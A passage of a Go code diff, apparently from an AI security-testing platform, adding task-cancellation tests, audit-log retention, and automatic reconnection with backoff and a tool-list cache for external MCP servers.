+	if !m.AbortActiveEinoExecute(conv, "跳过域名收集") {
+		t.Fatal("expected abort to succeed")
+	}
+	select {
+	case <-done:
+	case <-time.After(2 * time.Second):
+		t.Fatal("execute cancel did not propagate")
+	}
+	if got := m.TakeEinoExecuteAbortNote(conv); got != "跳过域名收集" {
+		t.Fatalf("abort note = %q, want 跳过域名收集", got)
+	}
+	m.UnregisterActiveEinoExecute(conv)
+	if m.AbortActiveEinoExecute(conv, "") {
+		t.Fatal("second abort should fail when no active execute")
+	}
+}
+
+func TestConversationIDForActiveMCPExecution(t *testing.T) {
+	m := NewAgentTaskManager()
+	conv := "conv-mcp-exec"
+	_, err := m.StartTask(conv, "test", func(error) {})
+	if err != nil {
+		t.Fatalf("StartTask: %v", err)
+	}
+	m.RegisterRunningTool(conv, "exec-123")
+	if got := m.ConversationIDForActiveMCPExecution("exec-123"); got != conv {
+		t.Fatalf("got %q, want %q", got, conv)
+	}
+	if got := m.ConversationIDForActiveMCPExecution("missing"); got != "" {
+		t.Fatalf("missing should be empty, got %q", got)
+	}
+}

internal/handler/task_manager_tool_cancel_test.go

@@ -0,0 +1,80 @@
+package handler
+
+import (
+	"context"
+	"errors"
+	"testing"
+
+	"cyberstrike-ai/internal/multiagent"
+)
+
+func TestCancelTaskInvokesToolCancelerOnFullStop(t *testing.T) {
+	tm := NewAgentTaskManager()
+	called := false
+	tm.SetToolCanceler(func(conversationID string) {
+		if conversationID == "conv-1" {
+			called = true
+		}
+	})
+
+	_, cancel := context.WithCancelCause(context.Background())
+	_, err := tm.StartTask("conv-1", "hello", cancel)
+	if err != nil {
+		t.Fatalf("StartTask: %v", err)
+	}
+
+	ok, err := tm.CancelTask("conv-1", ErrTaskCancelled)
+	if err != nil || !ok {
+		t.Fatalf("CancelTask: ok=%v err=%v", ok, err)
+	}
+	if !called {
+		t.Fatal("expected tool canceler to be invoked on full task cancel")
+	}
+}
+
+func TestCancelTaskSkipsToolCancelerOnInterruptContinue(t *testing.T) {
+	tm := NewAgentTaskManager()
+	called := false
+	tm.SetToolCanceler(func(conversationID string) {
+		called = true
+	})
+
+	_, cancel := context.WithCancelCause(context.Background())
+	_, err := tm.StartTask("conv-1", "hello", cancel)
+	if err != nil {
+		t.Fatalf("StartTask: %v", err)
+	}
+
+	ok, err := tm.CancelTask("conv-1", multiagent.ErrInterruptContinue)
+	if err != nil || !ok {
+		t.Fatalf("CancelTask: ok=%v err=%v", ok, err)
+	}
+	if called {
+		t.Fatal("tool canceler must not run for interrupt-continue")
+	}
+}
+
+func TestCancelTaskDefaultCauseIsTaskCancelled(t *testing.T) {
+	tm := NewAgentTaskManager()
+	var gotCause error
+	tm.SetToolCanceler(func(conversationID string) {
+		if conversationID == "conv-2" {
+			gotCause = ErrTaskCancelled
+		}
+	})
+
+	ctx, cancel := context.WithCancelCause(context.Background())
+	if _, err := tm.StartTask("conv-2", "hello", cancel); err != nil {
+		t.Fatalf("StartTask: %v", err)
+	}
+
+	if _, err := tm.CancelTask("conv-2", nil); err != nil {
+		t.Fatalf("CancelTask: %v", err)
+	}
+	if !errors.Is(context.Cause(ctx), ErrTaskCancelled) {
+		t.Fatalf("expected ErrTaskCancelled cause, got %v", context.Cause(ctx))
+	}
+	if gotCause != ErrTaskCancelled {
+		t.Fatalf("expected tool canceler path for default cancel cause")
+	}
+}

internal/handler/terminal_ws_windows.go

@@ -0,0 +1,16 @@
+//go:build windows
+
+package handler
+
+import (
+	"net/http"
+
+	"github.com/gin-gonic/gin"
+)
+
+// RunCommandWS 交互式 PTY 终端依赖 Unix PTY（见 terminal_ws_unix.go）；Windows 暂不支持。
+func (h *TerminalHandler) RunCommandWS(c *gin.Context) {
+	c.JSON(http.StatusNotImplemented, gin.H{
+		"error": "Interactive WebSocket terminal is not supported on Windows; use POST /terminal/run or /terminal/run/stream instead.",
+	})
+}

internal/hitl/retention.go

@@ -0,0 +1,71 @@
+package hitl
+
+import (
+	"time"
+
+	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
+
+	"go.uber.org/zap"
+)
+
+const retentionPurgeInterval = time.Hour
+
+// Service manages HITL audit log retention (decided hitl_interrupts rows).
+type Service struct {
+	db     *database.DB
+	cfg    *config.Config
+	logger *zap.Logger
+}
+
+// NewService creates a HITL audit log retention service.
+func NewService(db *database.DB, cfg *config.Config, logger *zap.Logger) *Service {
+	return &Service{db: db, cfg: cfg, logger: logger}
+}
+
+// RetentionDays returns configured retention; 0 means keep forever.
+func (s *Service) RetentionDays() int {
+	if s == nil || s.cfg == nil {
+		return config.HitlConfig{}.RetentionDaysEffective()
+	}
+	return s.cfg.Hitl.RetentionDaysEffective()
+}
+
+// PurgeExpired deletes decided HITL log rows older than retention_days when configured.
+func (s *Service) PurgeExpired() {
+	if s == nil || s.db == nil || s.cfg == nil {
+		return
+	}
+	days := s.cfg.Hitl.RetentionDaysEffective()
+	if days <= 0 {
+		return
+	}
+	cutoff := time.Now().AddDate(0, 0, -days)
+	n, err := s.db.PurgeHitlInterruptLogsBefore(cutoff)
+	if err != nil {
+		if s.logger != nil {
+			s.logger.Warn("清理过期人机协同审计日志失败", zap.Error(err))
+		}
+		return
+	}
+	if n > 0 && s.logger != nil {
+		s.logger.Info("已清理过期人机协同审计日志", zap.Int64("deleted", n), zap.Int("retention_days", days))
+	}
+}
+
+// StartRetentionLoop periodically purges expired HITL audit log rows.
+func StartRetentionLoop(s *Service, logger *zap.Logger) {
+	if s == nil {
+		return
+	}
+	go func() {
+		ticker := time.NewTicker(retentionPurgeInterval)
+		defer ticker.Stop()
+		for range ticker.C {
+			s.PurgeExpired()
+			if logger != nil {
+				logger.Debug("hitl audit log retention tick completed")
+			}
+		}
+	}()
+}

internal/hitl/retention_test.go

@@ -0,0 +1,50 @@
+package hitl
+
+import (
+	"path/filepath"
+	"testing"
+	"time"
+
+	appconfig "cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
+
+	"go.uber.org/zap"
+)
+
+func TestServicePurgeExpired_respectsZeroRetention(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "hitl.db")
+	db, err := database.NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+	if _, err := db.Exec(`CREATE TABLE IF NOT EXISTS hitl_interrupts (
+		id TEXT PRIMARY KEY,
+		conversation_id TEXT NOT NULL,
+		mode TEXT NOT NULL,
+		tool_name TEXT NOT NULL,
+		status TEXT NOT NULL,
+		decision TEXT,
+		created_at DATETIME NOT NULL,
+		decided_at DATETIME
+	)`); err != nil {
+		t.Fatalf("create table: %v", err)
+	}
+
+	old := time.Now().AddDate(0, 0, -100).UTC().Format(time.RFC3339)
+	if _, err := db.Exec(`INSERT INTO hitl_interrupts
+		(id, conversation_id, mode, tool_name, status, decision, created_at, decided_at)
+		VALUES ('old-1', 'c1', 'approval', 'exec', 'decided', 'approve', ?, ?)`, old, old); err != nil {
+		t.Fatalf("insert: %v", err)
+	}
+
+	zero := 0
+	svc := NewService(db, &appconfig.Config{
+		Hitl: appconfig.HitlConfig{RetentionDays: &zero},
+	}, zap.NewNop())
+	svc.PurgeExpired()
+
+	if err := db.QueryRow(`SELECT id FROM hitl_interrupts WHERE id = 'old-1'`).Scan(new(string)); err != nil {
+		t.Fatalf("record should remain when retention_days=0: %v", err)
+	}
+}

internal/mcp/client_sdk.go

@@ -190,6 +190,23 @@ func (c *lazySDKClient) Close() error {
 	return nil
 }
 
+// markDisconnected 在检测到传输层断连时关闭底层 session，避免 IsConnected 仍返回 true。
+func (c *lazySDKClient) markDisconnected() {
+	c.mu.Lock()
+	inner := c.inner
+	sessionCancel := c.sessionCancel
+	c.inner = nil
+	c.sessionCancel = nil
+	c.mu.Unlock()
+	if sessionCancel != nil {
+		sessionCancel()
+	}
+	if inner != nil {
+		_ = inner.Close()
+	}
+	c.setStatus("disconnected")
+}
+
 func (c *sdkClient) setStatus(s string) {
 	c.mu.Lock()
 	defer c.mu.Unlock()

internal/mcp/connection_recovery.go

@@ -0,0 +1,192 @@
+package mcp
+
+import (
+	"context"
+	"errors"
+	"io"
+	"strings"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+const (
+	// externalReconnectMinInterval 两次自动重连之间的最短间隔
+	externalReconnectMinInterval = 30 * time.Second
+	// externalReconnectMaxBackoff 指数退避上限
+	externalReconnectMaxBackoff = 5 * time.Minute
+)
+
+// isConnectionDeadError 判断错误是否表示底层传输已断开（而非调用方主动取消或超时）。
+func isConnectionDeadError(err error) bool {
+	if err == nil {
+		return false
+	}
+	if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
+		return false
+	}
+	if errors.Is(err, io.EOF) {
+		return true
+	}
+	s := strings.ToLower(err.Error())
+	return strings.Contains(s, "eof") ||
+		strings.Contains(s, "client is closing") ||
+		strings.Contains(s, "connection closed") ||
+		strings.Contains(s, "connection reset") ||
+		strings.Contains(s, "broken pipe")
+}
+
+// handleConnectionDead 在 ListTools/CallTool 等操作失败且判定为断连时，标记客户端并调度重连。
+func (m *ExternalMCPManager) handleConnectionDead(name string, client ExternalMCPClient, err error) {
+	if !isConnectionDeadError(err) {
+		return
+	}
+	m.logger.Warn("检测到外部MCP连接已断开，将尝试自动重连",
+		zap.String("name", name),
+		zap.Error(err),
+	)
+	m.markClientDisconnected(name, client, err)
+	m.scheduleReconnect(name)
+}
+
+func (m *ExternalMCPManager) markClientDisconnected(name string, client ExternalMCPClient, err error) {
+	if lazy, ok := client.(*lazySDKClient); ok {
+		lazy.markDisconnected()
+	}
+	m.mu.Lock()
+	if err != nil {
+		m.errors[name] = "连接已断开: " + err.Error()
+	}
+	m.mu.Unlock()
+	m.toolCountsMu.Lock()
+	m.toolCounts[name] = 0
+	m.toolCountsMu.Unlock()
+}
+
+func (m *ExternalMCPManager) onClientConnected(name string) {
+	m.clearReconnectState(name)
+}
+
+func (m *ExternalMCPManager) clearReconnectState(name string) {
+	m.reconnectMu.Lock()
+	delete(m.reconnectAttempts, name)
+	delete(m.reconnectLastTry, name)
+	delete(m.reconnecting, name)
+	m.reconnectMu.Unlock()
+}
+
+func (m *ExternalMCPManager) reconnectBackoff(attempts int) time.Duration {
+	if attempts <= 0 {
+		return 0
+	}
+	d := externalReconnectMinInterval
+	for i := 1; i < attempts && d < externalReconnectMaxBackoff; i++ {
+		d *= 2
+	}
+	if d > externalReconnectMaxBackoff {
+		return externalReconnectMaxBackoff
+	}
+	return d
+}
+
+func (m *ExternalMCPManager) scheduleReconnect(name string) {
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	m.mu.RUnlock()
+	if !enabled {
+		return
+	}
+	go m.tryReconnect(name)
+}
+
+func (m *ExternalMCPManager) tryReconnect(name string) {
+	m.reconnectMu.Lock()
+	if m.reconnecting[name] {
+		m.reconnectMu.Unlock()
+		return
+	}
+	attempts := m.reconnectAttempts[name]
+	if wait := m.reconnectBackoff(attempts); wait > 0 {
+		if last, ok := m.reconnectLastTry[name]; ok {
+			if elapsed := time.Since(last); elapsed < wait {
+				remaining := wait - elapsed
+				m.reconnectMu.Unlock()
+				m.scheduleReconnectAfter(name, remaining)
+				return
+			}
+		}
+	}
+	m.reconnecting[name] = true
+	m.reconnectMu.Unlock()
+
+	defer func() {
+		m.reconnectMu.Lock()
+		delete(m.reconnecting, name)
+		m.reconnectMu.Unlock()
+	}()
+
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	client, hasClient := m.clients[name]
+	connecting := hasClient && client.GetStatus() == "connecting"
+	m.mu.RUnlock()
+
+	if !enabled {
+		m.logger.Debug("跳过自动重连（外部MCP已停用）", zap.String("name", name))
+		return
+	}
+	if connecting {
+		m.logger.Debug("跳过自动重连（连接正在进行中）", zap.String("name", name))
+		return
+	}
+
+	m.reconnectMu.Lock()
+	m.reconnectLastTry[name] = time.Now()
+	m.reconnectAttempts[name] = attempts + 1
+	attemptNum := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+
+	m.logger.Info("正在自动重连外部MCP",
+		zap.String("name", name),
+		zap.Int("attempt", attemptNum),
+	)
+
+	if err := m.startClient(name, true); err != nil {
+		m.logger.Warn("自动重连外部MCP失败",
+			zap.String("name", name),
+			zap.Error(err),
+		)
+	}
+}
+
+// scheduleReconnectAfterFailure 在自动重连失败后，按当前退避间隔预约下一次重试。
+func (m *ExternalMCPManager) scheduleReconnectAfterFailure(name string) {
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	m.mu.RUnlock()
+	if !enabled {
+		return
+	}
+	m.reconnectMu.Lock()
+	wait := m.reconnectBackoff(m.reconnectAttempts[name])
+	m.reconnectMu.Unlock()
+	m.logger.Info("自动重连失败，将按退避间隔再次尝试",
+		zap.String("name", name),
+		zap.Duration("after", wait),
+	)
+	m.scheduleReconnectAfter(name, wait)
+}
+
+// scheduleReconnectAfter 在 delay 后触发 tryReconnect（delay<=0 时立即执行）。
+func (m *ExternalMCPManager) scheduleReconnectAfter(name string, delay time.Duration) {
+	if delay <= 0 {
+		go m.tryReconnect(name)
+		return
+	}
+	time.AfterFunc(delay, func() {
+		m.tryReconnect(name)
+	})
+}

internal/mcp/connection_recovery_test.go

@@ -0,0 +1,215 @@
+package mcp
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+
+	"go.uber.org/zap"
+)
+
+func TestIsConnectionDeadError(t *testing.T) {
+	t.Parallel()
+	cases := []struct {
+		name string
+		err  error
+		want bool
+	}{
+		{"nil", nil, false},
+		{"eof", io.EOF, true},
+		{"wrapped eof", fmt.Errorf("connection closed: %w", io.EOF), true},
+		{"client closing", errors.New(`calling "tools/list": client is closing: EOF`), true},
+		{"connection reset", errors.New("read tcp: connection reset by peer"), true},
+		{"canceled", context.Canceled, false},
+		{"deadline", context.DeadlineExceeded, false},
+		{"other", errors.New("invalid params"), false},
+	}
+	for _, tc := range cases {
+		tc := tc
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+			if got := isConnectionDeadError(tc.err); got != tc.want {
+				t.Fatalf("isConnectionDeadError(%v) = %v, want %v", tc.err, got, tc.want)
+			}
+		})
+	}
+}
+
+func TestLazySDKClient_MarkDisconnected(t *testing.T) {
+	c := &lazySDKClient{status: "connected"}
+	c.inner = &sdkClient{status: "connected"}
+	c.markDisconnected()
+	if c.IsConnected() {
+		t.Fatal("expected disconnected after markDisconnected")
+	}
+	if c.GetStatus() != "disconnected" {
+		t.Fatalf("expected status disconnected, got %s", c.GetStatus())
+	}
+}
+
+func TestHandleConnectionDead_MarksLazyClientDisconnected(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "dead-mcp"
+	cfg := config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: true,
+	}
+	m.mu.Lock()
+	m.configs[name] = cfg
+	client := newLazySDKClient(cfg, logger)
+	client.inner = &sdkClient{status: "connected"}
+	client.status = "connected"
+	m.clients[name] = client
+	m.mu.Unlock()
+
+	deadErr := errors.New(`connection closed: calling "tools/list": client is closing: EOF`)
+	m.handleConnectionDead(name, client, deadErr)
+
+	if client.IsConnected() {
+		t.Fatal("expected disconnected after handleConnectionDead")
+	}
+	if m.GetError(name) == "" {
+		t.Fatal("expected error message to be recorded")
+	}
+	counts := m.GetToolCounts()
+	if counts[name] != 0 {
+		t.Fatalf("expected tool count 0 after disconnect, got %d", counts[name])
+	}
+}
+
+func TestReconnectBackoff(t *testing.T) {
+	t.Parallel()
+	if d := (&ExternalMCPManager{}).reconnectBackoff(0); d != 0 {
+		t.Fatalf("attempt 0: got %v", d)
+	}
+	if d := (&ExternalMCPManager{}).reconnectBackoff(1); d != externalReconnectMinInterval {
+		t.Fatalf("attempt 1: got %v", d)
+	}
+	if d := (&ExternalMCPManager{}).reconnectBackoff(10); d != externalReconnectMaxBackoff {
+		t.Fatalf("attempt 10: got %v, want cap %v", d, externalReconnectMaxBackoff)
+	}
+}
+
+func TestTryReconnect_RateLimited(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "rate-limited"
+	m.reconnectMu.Lock()
+	m.reconnectLastTry[name] = time.Now()
+	m.reconnectAttempts[name] = 2
+	m.reconnectMu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 2 {
+		t.Fatalf("rate limited reconnect should not increment attempts, got %d", attempts)
+	}
+}
+
+func TestTryReconnect_SkipsWhenDisabled(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "disabled-mcp"
+	m.mu.Lock()
+	m.configs[name] = config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: false,
+	}
+	m.mu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 0 {
+		t.Fatalf("disabled MCP should not increment reconnect attempts, got %d", attempts)
+	}
+}
+
+func TestTryReconnect_SkipsWhenConnecting(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "connecting-mcp"
+	cfg := config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: true,
+	}
+	client := newLazySDKClient(cfg, logger)
+	client.setStatus("connecting")
+
+	m.mu.Lock()
+	m.configs[name] = cfg
+	m.clients[name] = client
+	m.mu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 0 {
+		t.Fatalf("connecting MCP should not increment reconnect attempts, got %d", attempts)
+	}
+}
+
+func TestStartClientAutoReconnect_SkipsWhenDisabled(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+	m.stopRefresh = make(chan struct{})
+
+	name := "stopped"
+	m.mu.Lock()
+	m.configs[name] = config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: false,
+	}
+	m.mu.Unlock()
+
+	if err := m.startClient(name, true); err != nil {
+		t.Fatalf("startClient: %v", err)
+	}
+
+	m.mu.RLock()
+	cfg := m.configs[name]
+	_, hasClient := m.clients[name]
+	m.mu.RUnlock()
+	if cfg.ExternalMCPEnable {
+		t.Fatal("auto reconnect should not enable stopped MCP")
+	}
+	if hasClient {
+		t.Fatal("auto reconnect should not create client when disabled")
+	}
+}
+
+func TestOnClientConnected_ClearsReconnectState(t *testing.T) {
+	m := &ExternalMCPManager{
+		reconnectAttempts: map[string]int{"x": 3},
+		reconnectLastTry:  map[string]time.Time{"x": time.Now()},
+		reconnecting:      map[string]bool{"x": true},
+	}
+	m.onClientConnected("x")
+
+	m.reconnectMu.Lock()
+	defer m.reconnectMu.Unlock()
+	if len(m.reconnectAttempts) != 0 || len(m.reconnectLastTry) != 0 || len(m.reconnecting) != 0 {
+		t.Fatal("expected reconnect state cleared")
+	}
+}

internal/mcp/external_manager.go

@@ -15,6 +15,26 @@ import (
 	"go.uber.org/zap"
 )
 
+const (
+	// externalToolListCacheTTL 已连接外部 MCP 的工具列表缓存有效期，避免每次 API 请求都打远程 ListTools。
+	externalToolListCacheTTL = 60 * time.Second
+	// externalToolCountRefreshInterval 后台刷新工具数量的间隔（仅刷新缓存过期或缺失的客户端）。
+	externalToolCountRefreshInterval = 60 * time.Second
+)
+
+// toolListCacheEntry 外部 MCP 工具列表缓存条目
+type toolListCacheEntry struct {
+	tools     []Tool
+	updatedAt time.Time
+}
+
+// listToolsInflight 合并同一 MCP 上并发的 ListTools 请求
+type listToolsInflight struct {
+	done  chan struct{}
+	tools []Tool
+	err   error
+}
+
 // ExternalMCPManager 外部MCP管理器
 type ExternalMCPManager struct {
 	clients      map[string]ExternalMCPClient
@@ -26,14 +46,20 @@ type ExternalMCPManager struct {
 	errors       map[string]string         // 错误信息
 	toolCounts   map[string]int            // 工具数量缓存
 	toolCountsMu sync.RWMutex              // 工具数量缓存的锁
-	toolCache    map[string][]Tool         // 工具列表缓存：MCP名称 -> 工具列表
+	toolCache    map[string]toolListCacheEntry // 工具列表缓存：MCP名称 -> 工具列表
 	toolCacheMu  sync.RWMutex              // 工具列表缓存的锁
+	listToolsMu  sync.Mutex
+	listToolsInflight map[string]*listToolsInflight
 	stopRefresh  chan struct{}             // 停止后台刷新的信号
 	refreshWg    sync.WaitGroup            // 等待后台刷新goroutine完成
 	refreshing   atomic.Bool               // 防止 refreshToolCounts 并发堆积
 	mu           sync.RWMutex
-	runningCancels map[string]context.CancelFunc
-	abortUserNotes map[string]string
+	runningCancels    map[string]context.CancelFunc
+	abortUserNotes    map[string]string
+	reconnectMu       sync.Mutex
+	reconnecting      map[string]bool
+	reconnectLastTry  map[string]time.Time
+	reconnectAttempts map[string]int
 }
 
 // NewExternalMCPManager 创建外部MCP管理器
@@ -51,11 +77,15 @@ func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage
 		executions:     make(map[string]*ToolExecution),
 		stats:          make(map[string]*ToolStats),
 		errors:         make(map[string]string),
-		toolCounts:     make(map[string]int),
-		toolCache:      make(map[string][]Tool),
-		stopRefresh:    make(chan struct{}),
-		runningCancels: make(map[string]context.CancelFunc),
-		abortUserNotes: make(map[string]string),
+		toolCounts:        make(map[string]int),
+		toolCache:         make(map[string]toolListCacheEntry),
+		listToolsInflight: make(map[string]*listToolsInflight),
+		stopRefresh:       make(chan struct{}),
+		runningCancels:    make(map[string]context.CancelFunc),
+		abortUserNotes:    make(map[string]string),
+		reconnecting:      make(map[string]bool),
+		reconnectLastTry:  make(map[string]time.Time),
+		reconnectAttempts: make(map[string]int),
 	}
 	// 启动后台刷新工具数量的goroutine
 	manager.startToolCountRefresh()
@@ -122,6 +152,7 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
 	}
 
 	delete(m.configs, name)
+	m.clearReconnectState(name)
 
 	// 清理工具数量缓存
 	m.toolCountsMu.Lock()
@@ -136,8 +167,13 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
 	return nil
 }
 
-// StartClient 启动客户端
+// StartClient 启动客户端（用户手动启动；连接失败不自动重试）
 func (m *ExternalMCPManager) StartClient(name string) error {
+	return m.startClient(name, false)
+}
+
+// startClient 启动客户端。autoReconnect 为 true 时用于断连自愈：尊重停用状态，失败后按退避继续重试。
+func (m *ExternalMCPManager) startClient(name string, autoReconnect bool) error {
 	m.mu.Lock()
 	serverCfg, exists := m.configs[name]
 	m.mu.Unlock()
@@ -146,6 +182,10 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		return fmt.Errorf("配置不存在: %s", name)
 	}
 
+	if autoReconnect && !m.isEnabled(serverCfg) {
+		return nil
+	}
+
 	// 检查是否已经有连接的客户端
 	m.mu.RLock()
 	existingClient, hasClient := m.clients[name]
@@ -155,11 +195,12 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		// 检查客户端是否已连接
 		if existingClient.IsConnected() {
 			// 客户端已连接，直接返回成功（目标状态已达成）
-			// 更新配置为启用（确保配置一致）
-			m.mu.Lock()
-			serverCfg.ExternalMCPEnable = true
-			m.configs[name] = serverCfg
-			m.mu.Unlock()
+			if !autoReconnect {
+				m.mu.Lock()
+				serverCfg.ExternalMCPEnable = true
+				m.configs[name] = serverCfg
+				m.mu.Unlock()
+			}
 			return nil
 		}
 		// 如果有客户端但未连接，先关闭
@@ -169,6 +210,16 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		m.mu.Unlock()
 	}
 
+	if autoReconnect {
+		m.mu.RLock()
+		serverCfg, exists = m.configs[name]
+		enabled := exists && m.isEnabled(serverCfg)
+		m.mu.RUnlock()
+		if !enabled {
+			return nil
+		}
+	}
+
 	// 更新配置为启用
 	m.mu.Lock()
 	serverCfg.ExternalMCPEnable = true
@@ -192,10 +243,11 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 	m.mu.Unlock()
 
 	// 在后台异步进行实际连接
-	go func() {
+	go func(reconnect bool) {
 		if err := m.doConnect(name, serverCfg, client); err != nil {
 			m.logger.Error("连接外部MCP客户端失败",
 				zap.String("name", name),
+				zap.Bool("auto_reconnect", reconnect),
 				zap.Error(err),
 			)
 			// 连接失败，设置状态为error并保存错误信息
@@ -205,22 +257,19 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 			m.mu.Unlock()
 			// 触发工具数量刷新（连接失败，工具数量应为0）
 			m.triggerToolCountRefresh()
+			if reconnect {
+				m.scheduleReconnectAfterFailure(name)
+			}
 		} else {
 			// 连接成功，清除错误信息
 			m.mu.Lock()
 			delete(m.errors, name)
 			m.mu.Unlock()
-			// 立即刷新工具数量和工具列表缓存
-			m.triggerToolCountRefresh()
-			m.refreshToolCache(name, client)
-			// 2 秒后再刷新一次，覆盖 SSE/Streamable 等需稍等就绪的远端
-			go func() {
-				time.Sleep(2 * time.Second)
-				m.triggerToolCountRefresh()
-				m.refreshToolCache(name, client)
-			}()
+			m.onClientConnected(name)
+			// 异步拉取工具列表（singleflight 去重，结果同时写入 toolCache 与 toolCounts）
+			go m.refreshToolCache(name, client)
 		}
-	}()
+	}(autoReconnect)
 
 	return nil
 }
@@ -249,10 +298,16 @@ func (m *ExternalMCPManager) StopClient(name string) error {
 	m.toolCounts[name] = 0
 	m.toolCountsMu.Unlock()
 
+	m.toolCacheMu.Lock()
+	delete(m.toolCache, name)
+	m.toolCacheMu.Unlock()
+
 	// 更新配置为禁用
 	serverCfg.ExternalMCPEnable = false
 	m.configs[name] = serverCfg
 
+	m.clearReconnectState(name)
+
 	return nil
 }
 
@@ -335,16 +390,19 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
 		return nil, fmt.Errorf("外部MCP连接失败: %s", name)
 	}
 
-	// 已连接：尝试获取最新工具列表
+	// 已连接：缓存优先，仅在缺失或过期时打远程 ListTools
 	if client.IsConnected() {
-		tools, err := client.ListTools(ctx)
+		if tools, ok := m.getFreshCachedTools(name); ok {
+			return tools, nil
+		}
+		if tools, ok := m.getAnyCachedTools(name); ok {
+			m.triggerToolListRefresh(name, client)
+			return tools, nil
+		}
+		tools, err := m.listToolsDeduped(ctx, name, client)
 		if err != nil {
-			// 获取失败，尝试使用缓存
 			return m.getCachedTools(name, "连接正常但获取失败", err)
 		}
-
-		// 获取成功，更新缓存
-		m.updateToolCache(name, tools)
 		return tools, nil
 	}
 
@@ -361,37 +419,127 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
 	return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
 }
 
-// getCachedTools 获取缓存的工具列表
+// getCachedTools 获取缓存的工具列表（含空列表缓存）
 func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
-	m.toolCacheMu.RLock()
-	cachedTools, hasCache := m.toolCache[name]
-	m.toolCacheMu.RUnlock()
-
-	if hasCache && len(cachedTools) > 0 {
+	if tools, ok := m.getAnyCachedTools(name); ok {
 		m.logger.Debug("使用缓存的工具列表",
 			zap.String("name", name),
 			zap.String("reason", reason),
-			zap.Int("count", len(cachedTools)),
+			zap.Int("count", len(tools)),
 			zap.Error(originalErr),
 		)
-		return cachedTools, nil
+		return tools, nil
 	}
 
-	// 无缓存，返回错误
 	if originalErr != nil {
 		return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
 	}
 	return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
 }
 
-// updateToolCache 更新工具列表缓存
-func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
+func (m *ExternalMCPManager) isToolCacheFresh(updatedAt time.Time) bool {
+	return !updatedAt.IsZero() && time.Since(updatedAt) < externalToolListCacheTTL
+}
+
+func cloneTools(tools []Tool) []Tool {
+	if len(tools) == 0 {
+		return nil
+	}
+	out := make([]Tool, len(tools))
+	copy(out, tools)
+	return out
+}
+
+func (m *ExternalMCPManager) getFreshCachedTools(name string) ([]Tool, bool) {
+	m.toolCacheMu.RLock()
+	entry, ok := m.toolCache[name]
+	m.toolCacheMu.RUnlock()
+	if !ok || !m.isToolCacheFresh(entry.updatedAt) {
+		return nil, false
+	}
+	return cloneTools(entry.tools), true
+}
+
+func (m *ExternalMCPManager) getAnyCachedTools(name string) ([]Tool, bool) {
+	m.toolCacheMu.RLock()
+	entry, ok := m.toolCache[name]
+	m.toolCacheMu.RUnlock()
+	if !ok {
+		return nil, false
+	}
+	return cloneTools(entry.tools), true
+}
+
+// listToolsDeduped 对同一 MCP 合并并发 ListTools，并更新 toolCache / toolCounts。
+func (m *ExternalMCPManager) listToolsDeduped(ctx context.Context, name string, client ExternalMCPClient) ([]Tool, error) {
+	m.listToolsMu.Lock()
+	if inflight, exists := m.listToolsInflight[name]; exists {
+		m.listToolsMu.Unlock()
+		select {
+		case <-inflight.done:
+			if inflight.err != nil {
+				return nil, inflight.err
+			}
+			return cloneTools(inflight.tools), nil
+		case <-ctx.Done():
+			return nil, ctx.Err()
+		}
+	}
+	inflight := &listToolsInflight{done: make(chan struct{})}
+	m.listToolsInflight[name] = inflight
+	m.listToolsMu.Unlock()
+
+	inflight.tools, inflight.err = client.ListTools(ctx)
+	if inflight.err == nil {
+		m.updateToolCache(name, inflight.tools)
+	}
+
